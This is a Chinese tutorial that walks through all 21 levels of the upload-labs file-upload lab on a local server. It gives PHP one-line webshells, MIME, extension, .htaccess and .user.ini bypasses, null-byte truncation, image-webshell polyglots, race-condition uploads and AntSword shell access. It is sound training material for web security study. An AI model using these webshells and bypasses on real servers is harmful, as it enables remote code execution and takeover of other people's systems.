前言
我们下面进行下一个漏洞------文件上传的学习。文件上传是常见漏洞之一,是Web安全入门必学漏洞。为探讨清楚文件上传漏洞的诸多细节,我们特以经典的upload-labs进行从入门到进阶的专项训练。
在做题过程中,作者把用到的知识进行了全面、详细、系统的总结,所以为了方便学习,查阅完全适配此文的总结是必不可少的(怎么可以光训练不去学习、总结呢)。
作者的总结:文件上传全详解-CSDN博客
除此之外,
作者进行upload-labs靶场练习时,在环境配置上出了很多问题,吃了很多苦头。为了防止大家踩坑,也为了节省大家的时间,在这里直接给出最简单最有效的配置方法,请见下文。
upload-labs安装与配置:upload-labs安装与配置-CSDN博客
upload-labs介绍见下图,
Pass-01
首先我们要写一个一句话木马文件,上传到服务器
以我的一句话木马为例:
<?php @eval($_POST['key']);?>
上传一下试试
失败了,文件类型不正确
看一下提示,前端过滤
那么我们怎么才能绕过呢?
方法一:利用浏览器的机制可以禁用js
方法二:删除浏览器事件
先试试禁用js。
不过在实战中直接禁用js插件会导致一些页面无法正常显示,还是存在着一些缺陷。
以火狐浏览器为例,按f12,在'调试器'面板最右边有个设置按钮,禁用js。
上传试试
在上传路径里找一下,成功上传
如何获得上传路径?
大家可以先上传一张图片,上传成功后会显示出上传的图片,然后右击图片------>复制图像链接,图像链接就有上传路径
找到上传路径,发现是WWW\upload-labs文件夹里的upload,看一下
发现webshell.php已经躺在里面了
在网站里访问一下木马文件
http://localhost/upload-labs/upload/webshell.php
虽然什么也没显示,但实际上我们已经成功了
可以用HackBar发送一个POST请求,带上我们一句话木马里的"key"值。
例如,
php
key=phpinfo();
发送后成功显示
这里我们介绍一下文件上传漏洞的常见利用方式------用'中国蚁剑'之类的WebShell工具。
我们这里以用中国蚁剑为例,
先连接一下网站:右键添加数据
输入网址和我们一句话木马里的密码"key"
测试连接
成功控制,双击打开我们刚刚打开的网站
然后右键打开终端
随便输入试试,例如用ipconfig查一下ip
显示了,说明我们可以操纵系统
然后我们试试第二个绕过方法,删除浏览器事件
查看前端代码
很明显,上面代码就是过滤代码,我们这里把除过滤代码之外的代码复制一遍,放到.txt文件里,不要把过滤代码也复制了
然后在在上面添加一段action,地址是要将图片上传到哪的地址,我们在这加上来(如果不知道这个地址是什么,就回到正常的上传页面,然后随便上传一个图片,在F12开发者工具的"网络"模块中可以找到)
修改成上传地址
php
action="http://localhost/upload-labs/Pass-01/index.php"
将后缀改为html
然后用浏览器打开这个html文件,直接进行上传操作即可。
我这里又重新写了一个一句话木马,用GET型传参
php
<?php $_GET['function']($_GET['key']);?>
上传成功
访问webshell_get.php并且给'function'和'key'赋值,我们这次写的一句话木马是get传参形式的,
eval函数在动态传参时,php的底层认为eval不是函数,所以我们用不了
但是assert函数在php底层却是以函数执行的,那么第一个参数我们就用assert
php
http://localhost/upload-labs/upload/webshell_get.php?function=assert&key=phpinfo();
成功
当然,我们可以改一改一句话木马,可以解决动态传参时eval失效的问题,而且只需要传一个参数,但是上面那种方法也要会。
php
<?php @eval($_GET['key']);?>
php
http://localhost/upload-labs/upload/webshell_get.php?key=phpinfo();
注意右上角有显示源码、查看提示、清空上传文件。
完成这一关我们别忘了清空上传文件,不清除的话,这一关的一句话木马还在里面,不能确定后面关卡上传的是否成功,
Pass-02
为了方便,我们将一句话木马改写为:
php
<?php phpinfo();?>
这样不需要传参,直接访问就可以判断是否成功。
先上传一个试试
失败了
看看提示(大家要记住这个MIME检查,后面还会有)
用BurpSuite抓包看一下
我们可以看到我们的文件类型是application/octet-stream(二进制数据类型)
补充:
既然它提示我们的是上传的数据类型不对,那么后端大概率检测的是我们上传文件的文件类型,那么我们在抓包这块将文件类型改为img的文件类型,
php
image/jpeg
注入成功
访问一下
php
http://localhost/upload-labs/upload/webshell.php
成功
Pass-03
直接上传
不允许上传.asp,.aspx,.php,.jsp后缀文件!
查看源码发现是黑名单验证,禁止上传这四种后缀的文件
但是这里黑名单规则不严谨,在某些特定环境中某些特殊后缀不会被过滤且仍会被当作php文件解析。
常用过滤后缀:php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。
下面我们详细讲解一下。
PHP是一种广泛使用的开放源代码的服务器端脚本语言,主要用于Web开发。默认情况下,PHP文件具有.php扩展名,但是服务器可以被配置为接受其他文件扩展名作为PHP文件来处理。以下是一些可能被服务器配置为识别并解析为PHP脚本的文件扩展名:
-
**.php** - 这是最常见的PHP文件扩展名。
-
**.php3** - 早期的PHP版本使用的扩展名。
-
**.php4** - 用于PHP 4.x系列。
-
**.php5** - 用于PHP 5.x系列。
-
**.php7** - 用于PHP 7.x系列。
-
**.php8** - 用于PHP 8.x系列。
-
**.phtml** - 这是PHP混合HTML文件使用的另一个旧扩展名。
-
**.phps** - 用来显示源代码的高亮显示而不是执行它。
-
**.html** or **.htm** - 有时服务器被配置为执行嵌入在HTML文件中的PHP代码。
-
**.inc** - 有时用于包含文件,但这不是一个安全做法,因为它可能会暴露敏感代码。
关于配置:
服务器需要通过修改配置文件来支持上述其他扩展名。对于Apache服务器,这通常在`.htaccess`文件中或者直接在主配置文件`httpd.conf`中,使用`AddType`和`AddHandler`指令来完成。对于Nginx服务器,可以在`nginx.conf`中通过设置`location`块并使用`fastcgi_pass`指令来处理。
在Apache HTTP 服务器的配置中,`AddType` 指令用于将特定的 MIME 类型与文件扩展名相关联。
注意有一些使用最新phpstudy搭建的upload-labs这一关可能不成功,下述方法适用于作者上文写的环境配置。
这里先修改phpstudy的配置文件,打开phpstudy的httpd-conf配置文件
修改 AddType application/x-httpd-php .php .phtml 为 AddType application/x-httpd-php .php .phtml .php5(自己想用啥就加啥,想用.php4就加.php4,我们这里以.php5为例),也可以多加几个,例如
php
AddType application/x-httpd-php .php .php3 .php4 .php5 .php6 .php7 .php8 .phtml
修改完别忘了保存
注意AddType application/x-httpd-php .php .phtml前面有可能有#,如果有也要删除。
然后重新启动phpstudy
我们这里用.php5试一下,直接上传一个名为webshell.php5的文件,可以发现直接上传成功
访问试试,发现不好使,看了看,原来是名字改了
再次访问,成功
Pass-04
发现黑名单比第三关多了很多,基本将我们的后缀都过滤掉了
该怎么进行绕过呢
这时候补充一个知识点:
.htaccess文件解析漏洞。
常见配法有以下几种:
php
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
Sethandler application/x-httpd-php
Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。
简单来说就是,可以将我们所的文件都解析成php或者是特定的文件解析为php。
那么我们创建一个.htaccess文件
写上内容:
php
Sethandler application/x-httpd-php
这是将本目录及所有子目录的所有文件都解析为php文件。
然后把我们的webshell.php改为1.jpg
我们先上传这个1.jpg文件,然后上传这个.htaccess,再访问1.jpg
Pass-05
这关多过滤了个.htaccess,看看提示
我们可以用.user.ini去包含我们的代码,然后执行,.user.ini相当于一个用户自定义的php.ini。
user.ini :自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用.htaccess文件有同样效果。
除了主php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP文件在 web 根目录之外,则只扫描该目录。
在.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI设置可被识别。
两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
这关是关卡制作者最后加上的,所以这里最麻烦是要用PHP 5.3.0及其以后的版本,和我们配置的环境不一样。这里又要用上我们下载的21关压缩包,作者是把它解压缩在新版phpstudy里,然后用的php7(大家也可以在旧版phpstudy里换php版本)。
这里别忘了把php.ini中的user_ini.cache_ttl修改一下,要不然间隔时间太长了
先把上一关做的1.jpg上传
然后制作一个.user.ini文件
php
auto_prepend_file=1.jpg
.user.ini文件里的意思是:所有的php文件都自动包含我们刚刚上传的1.jpg文件,会将其执行。
然后上传.user.ini文件
我们已经要求php文件都自动包含我们刚刚上传的1.jpg文件,而1.jpg中有我们的一句话木马,也就是文件夹内所有的php都会包含我们的一句话木马。
接下来要做就是找个php文件访问,去执行我们的一句话木马。
这里我们并不能上传php文件,该怎么办呢?
不要忘了,upload文件夹里面一直有个readme.php,这时候它就派上用场了
访问一下它
php
http://localhost/upload-labs/upload/readme.php
成功
关掉新版本的phpstudy,打开我们的旧环境,下面题目还是用旧环境
Pass-06
比较前面的源码可以发现,这关的源码没有把字符强制转换为小写的语句:
在这行代码中,strtolower函数被用于将变量$file_ext所包含的字符串转化为全小写。
所以,这道题是可以直接通过修改文件名为大写来绕过限制的。
所以我们上传一个1.PHP。
上传成功
访问一下,发现失败了
原来是把文件名改了,再次访问,成功
这题就是服务器没有对上传文件的名称大小写进行限制,从而导致大小写绕过漏洞,攻击者可以通过替换文件名为大写绕过对.php的限制上传恶意代码。
Pass-07
查看源码,发现这题没有对文件后缀名进行首尾去空的操作。
第四关中对文件后缀进行首尾去空的代码为("//首尾去空",字打错了):
这一行代码使用了PHP的trim函数对变量$file_ext所存储的字符串进行处理。trim函数的作用是去除字符串首尾的空白字符(包括空格、换行符、制表符等)
所以这里可以通过对文件后缀名末尾进行添加空格的方式来进行绕过。
因为Windows特性,在文件资源管理器中对后缀名添加空格的操作是不允许的,所以这里我们依旧需要使用Burpsuite抓包修改。
上传成功
上传之后文件被改名了,访问时注意一下
访问成功
Pass-08
还是看源码
可以看到这一关他确实把去除空格加上了,但是你仔细看,他是不是没有deldot()这个函数了(deldot()函数可以去除文件名末尾的点)。但上面说过,windows环境时会自动去除文件末尾的点和空格的,所以还是bp抓包
很明显,上传成功
访问一下试试
php
http://localhost/upload-labs/upload/webshell.php
成功了
Pass-09
废话不说,源码分析:
和之前的对比一下,发现少了下面这行代码
这关的过滤相较于上一关又少了一个过滤(::$DATA)的字符串
解释:在windows环境下,不光会自动去除文件末尾的点和空格,同时(::$DATA)这个字符串,windows也会认为是非法字符,默认去除掉
上传成功
上传的文件依然改了名
成功
Pass-10
还是看源码
可以看到,结合上面几个的过滤,转小写、空格、点、.htaccess、::$DATA都给我们防住了
那这时候该怎么办呢?
代码是死的,人是活的。每过一句代码,只执行一次,那我们就在文件末尾多加几个空格、点之类了,反正也就每执行一次只取出一个。
那我们直接末尾混合着多加几个
上传成功
php
http://localhost/upload-labs/upload/webshell.php
Pass-11
看源码
这一关明显不一样了,让我们来看看哪有洞
他在str_ireplace()函数这将我们的危险后缀都替换为空了,这该咋办。
还是那句话,代码死的,人是活的。他也就执行一次,那我们进行双写试试
上传成功
访问成功
Pass-12
看源码
save_path是一个可控的变量,后面还有一个后缀名需要绕过,这个时候需要使用%00截断,不过这个东西已经是旧时代的产物的,所以有使用条件
1、php版本小于5.3.4
2、php的magic_quotes_gpc为OFF状态
这里的官方环境满足上两点,不需要我们去操作。
【00截断原理】
谈到00截断我们都会想到,有什么0x00截断、%00截断,也有人对两个东西分析一大堆,那么它俩有什么区别呢,什么场合适用哪一个呢?这就要从00截断的原理说起:
其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0)。
char(0)是什么东西?
chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符
而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
参考文献:
解释完后,我们就要开始想办法怎么利用这个00截断来进行绕过,我们可以看到img_path是通过get传参传递的,那么我们不妨在这块将路径改掉,改为upload/web.php%00。那么后面不管是什么东西都会被截断掉,然后经过move_uploaded_file函数将临时文件重新复制给我们的截断之前的文件路径。
当然,我们还是要上传我们地jpg文件的,使得我们可以进行下面程序的运行。
所以我们这里还是上传我们之前做的1.jpg。
抓包修改
php
upload/webshell.php%00
注意访问的是我们上面写的webshell.php
php
http://localhost/upload-labs/upload/webshell.php
成功
Pass-13
查看源代码,和第十一关对比,发现接受值变成了post,那么思路就和第十一关一样,不过post方式不会自行编码,所以得换一种方式。
在这一关我们就需要现在web.php后面加一个占位符(随便写个字符,能找到就行),然后将占位符得16进制改为00,这样空字节00就出现了,最后在移动文件的时候就会触发\00截断。
还是上传1.jpg。
写占位符(作者这里随便写了个0)
换成16进制
找到我们写的0(可以先照着右边找)
改成00
访问webshell.php,成功
Pass-14
安排任务了
查看提示,说检查图片内容开头两个字节。
PEG/IFIF(常见的照片格式):头两个字节为·0 xFF·0xD8。
PNG(无损压缩格式):头两个字节为·0x89·0x50。
GIF(支持动画的图像格式):头两个字节为·0x47·0x49。
BMP(Windows位图格式):头两个字节为·0x42·0x4D。
TFF(标签图像文件格式):头两个字节可以是不同的数值
这里只用jpg图片做示范。
这里可以使用cmd命令。
在同时有图片和一句话木马的文件夹下打开cmd,然后使用以下命令。
php
copy 图片名 /b + 一句话木马的文件名 /a webshell.jpg
意思是将一句话木马文件中的代码追加到图片中并重新生成一个叫webshell.php的代码。
比如作者图片名就叫"重庆森林不在重庆.jpg",一句话木马的文件名还是"webshell.php"。
那么作者的命令为:
php
copy 重庆森林不在重庆.jpg /b + webshell.php /a webshell.jpg
下图表示图片马制作成功。
上传成功,是作者的头像
那我们怎么执行恶意代码呢?
直接访问显然是不行的,只会出现图片本身,要注意任务本身已经给出提示,要利用文件包含漏洞。
我们使用靶机给我们的文件包含漏洞进行解析,这个文件包含的特性是会将我们所有包含进来的文件都以php进行解析
请求时地址要加上file,注意图片名可能会被改。
以作者的为例:
php
http://localhost/upload-labs/include.php?file=upload/4220241025001424.jpg
注意有的图片访问时报错,说是php语法错误之类的,可能是以php运行图片导致的问题。
如果大家的图片确实没有好使的,可以用Windows自带的'画图'做一张纯白色图片(不用做任何修改),然后保存。或者换种类型的图片也行。
png图片马过程和上面一样,这里就不多做赘述了。
GIF也一样
Pass-15
查看源码,关键函数是这个getimagesize
getimagesize函数会对目标的十六进制的前几个字符串进行读取。
和上一关同理,按道理直接上传上一关的图马就行
但是作者这里居然上传不了图片(找了几张正常图片也没上传成功)。
大家可以在评论区讨论一下原因
Pass-16
知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。
如果按作者上面文章配置的环境,默认已经开启,不需要手动开启。如果不是,接下来开启php_exif模块
所以还是可以用之前的图片马绕过,并使用文件包含漏洞解析图片马
php
http://localhost/upload-labs/include.php?file=upload/3620241025170953.jpg
其他格式也一样,不在这里演示了
Pass-17
查看提示发现有重新渲染,查看源码。
imagecreatefromjpeg()等函数会使用上传的图片生成新的图片,即二次渲染(二次渲染是指上传的文件(如图片)在显示之前会进行二次处理,包括解码、转换等操作,这可能会导致其中的恶意代码失效。)。
所以二次渲染会创建一个新图象,成功则返回图像标识符/图像资源,失败则返回false,从而会导致图片马的数据丢失,上传的图片马无法执行。
二次渲染是后端重写文件内容,常见会用到的函数有:
php
basename(path[,suffix])没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
按照前几关的方式上传,可以上传,但是包含漏洞无法解析。原因就是二次渲染将图片马里面的php代码打乱了。
对于做文件上传之二次渲染建议用GIF图片,制作会更简单一点。
对GIF,我们需要把原图和修改后的图片进行比较,看哪里没有被打散:
上传正常的GIF图片,然后下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)
上传前:
上传后:
在蓝色框里插入PHP一句话,上传后,仍未被打散
如果肉眼对比不方便的话,似乎也可以复制两个文件的二进制形式,然后在burpsuite的Comparer中对比;也可以用beyond compare这一工具查看两张图,直接去对比打散情况。
制作好后,访问图片
php
http://localhost/upload-labs/include.php?file=upload/26259.gif
至于png以及jpg,就相对而言没有这么简单,大家要是有兴趣可以参考这篇文章:
文章 - upload-labs之pass 16详细分析 - 先知社区
Pass-18
提示说要代码审计
分析代码,可以看到他的逻辑是先对文件进行了上传操作,然后在判断文件的扩展名在不在白名单中,如若在,进行重命名;不在,则对其进行删除。
也就是说如果我们上传php文件,它会先上传,然后判断不符合,再删除我们的木马。
这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。
直接就出了,
但假设这一题没有文件包含漏洞的话,那我们怎么办?
尽管我们创上传的web.php这一文件不可避免的要删掉,但它终归是上传了。只要它上传了,我们就可以想方设法利用它。
我们可以想方法在web.php被删除之前执行它,从而通过web.php去生成一个webshell.php。
如何做呢?
先制作一个web.php,写上如下内容:
php
<?php file_put_contents('../upload/webshell.php', '<?php @eval($_POST["1"]); ?>'); ?>
这段代码的作用:
一旦访问到我们写的web.php,就会在upload目录下生成一个webshell.php,并写入<?php @eval($_POST["1"]); ?>,这样生成的webshell.php是不会被程序删除掉的。
要注意web.php和webshell.php是不一样的,web.php是我们制作的的,而webshell.php是访问并执行web.php后生成的。
所以如果我们能在上传的web.php被删除之前访问,那么就会生成新的一句话木马webshell.php,要知道代码在执行的时候也是需要时间的,尽管这个时间特别短,只要我们能利用住,也会成功的。这个就叫做条件竞争上传绕过。
我们可以利用burpsuite,把web.php文件通过burp一直不停的重放上传,然后我们再开一个线程去一直访问我们的web.php文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,那我们就成功了。
下面是具体步骤:
首先,先上传我们的web.php文件,用burp进行拦截,然后放到重放模块下,进行多次上传
一开始会自动选出payload,但是我们不需要,我们只要不断上传即可,所以点击Clear去掉payload
然后将payload类型设为空,意思是上传空的payload
重发请求数值大一些,这里作者设置为6000,不够的话可以选择下面的Continue indefinitely去一直请求
再抓取一个我们访问上传的web.php文件的,也放到bp的重发包上面
和之前一样,这里作者把重发数值设置为12000
这样就一边上传,一边请求了,只要有一次访问得到,那么就会在upload文件夹里创建webshell.php。
经过条件竞争,是有机会访问到的。
我们直接用蚁剑连接
Pass-19
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。
要让图片马能够执行还要配合其他漏洞,比如文件包含。
这道题直接利用文件包含和图片马也可以成功。但题目让我们多绕了一步,为了训练,这里还是用条件竞争。
(作者试过文件包含和图片马可行)
但我们还是按照题目走吧。
注意这次上传图片的位置变了。我们随便上传一张图片,右击复制其地址:
php
http://localhost/upload-labs/upload1729991308.jpg
发现图片直接上传在upload-labs文件夹下,和之前不一样。
这里我们修改一下上传地址,改成之前的upload文件夹下
还是制作图片马:
php
copy 无标题.jpg /b + RaceCondition.php /a RaceCondition.jpg
无标题.jpg是作者随便做了一张图片,RaceCondition.php是一句话木马文件:
php
<?php file_put_contents('../upload-labs/upload/webshell.php', '<?php @eval($_POST["1"]); ?>'); ?>
剩下步骤和上一题一样。
先抓包上传请求
再抓包访问请求(别忘了利用文件包含)
成功
Pass-20
看提示
看源码,发现没有对上传的文件做判断,只对用户输入的文件名做判断
说白了,它只检查我们输入的那个文件名,不检查文件原来的名字
由于move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.
所以我们后面加个点就可以绕过黑名单,上传webshell.php,输入名字为webshell.php.
访问成功
php
http://localhost/upload-labs/upload/webshell.php
Pass-21
我们不仅可以上传文件,还可以决定保存名称。
这一关是数组绕过,利用了count()函数漏洞。
count()函数漏洞原理:
我们这里举个例子,
现自定义一个数组 arr[],定义arr[0]=0,arr[3]=3,
此时arr这一数组共有两个元素,count(arr)的值为2,则arr[count(arr)]即为arr[2],但是arr[2]未定义,即为一个空值,
若使用count()函数本来是想指向arr数组的最后一个元素,此时却指向arr[2],形成数组漏洞。
那我们再来看这道题。
先给出一些函数解释,以免大家审计代码的时候读不懂:
php
explode(a,b)函数以a为分割,把b转为数组。
reset()函数把数组内部指针移动到数组第一个元素,并返回值。
end() 把数组内部指针移动到数组最后一个元素,并返回值。
count()函数数组元素的数量。
然后我们看下面这段代码可以知道最终的文件名是由数组的第一个和最后一个元素拼接而成。
正常情况来说,我们是没办法绕过的,但是这里有个判断:如果不是数组,就自己拆成数组。
隐藏含义就是说,我们也可以自己传数组进入。这就给了我们利用count()函数漏洞的机会。
下面我们对源代码进行整体的分析:
------> 验证上传路径是否存在
------> 验证['upload_file']的content-type是否合法(MIME检查,见第二关)
------> 判断POST参数save_name(即我们自己输入的文件名)是否为空。如果为空,file就等于上传文件原本的名字;不为空,file就等于我们输入的那个文件名(即$file = save_name)。
------>判断file是不是数组,不是的话则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
------> 用end()函数取后缀进行白名单检查,只有jpg、png、gif才可以通过
------> 数组第一位和file\[count(file) - 1]进行拼接,产生保存文件名file_name
------> 上传文件
可知,其中有两次检查和一次改名
然后我们针对源代码进行绕过,提交一句话木马webshell.php,保存名称也写webshell.php
抓包,开始操作
修改content-type为image/jpeg(绕过MIME检查)
修改POST参数(save_name)为数组类型:
索引[0]为我们输入的名字'webshell.php',
索引[2]我们自己添加一条数据,为'jpg'。
Forward放包
访问一下,成功
我们这里复盘一下,我们先是修改content-type绕过MIME检查。
然后修改POST参数(save_name)为数组类型,save_name[0]为 'webshell.php',save_name[2]为'jpg'。
这样的话ext = end(file) = file\[2\] = save_name\[2\] = jpg通过白名单,而且file_name = reset($file) . '.' . file\[count(file) - 1] = reset($file) . '.' . $file[2-1] = $file[0] . '.' . file\[1\],又file[1]值为空,所以$file_name = $file[0] . '.' . = save_name[0] . '.' . = webshell.php.,然后webshell.php.最后的点会自动去掉,文件名最终为webshell.php,和我们输入的一样,解决了文件改名的问题。
参考文献
Upload-labs 1-20关靶场通关攻略(全网最全最完整)_upload靶场-CSDN博客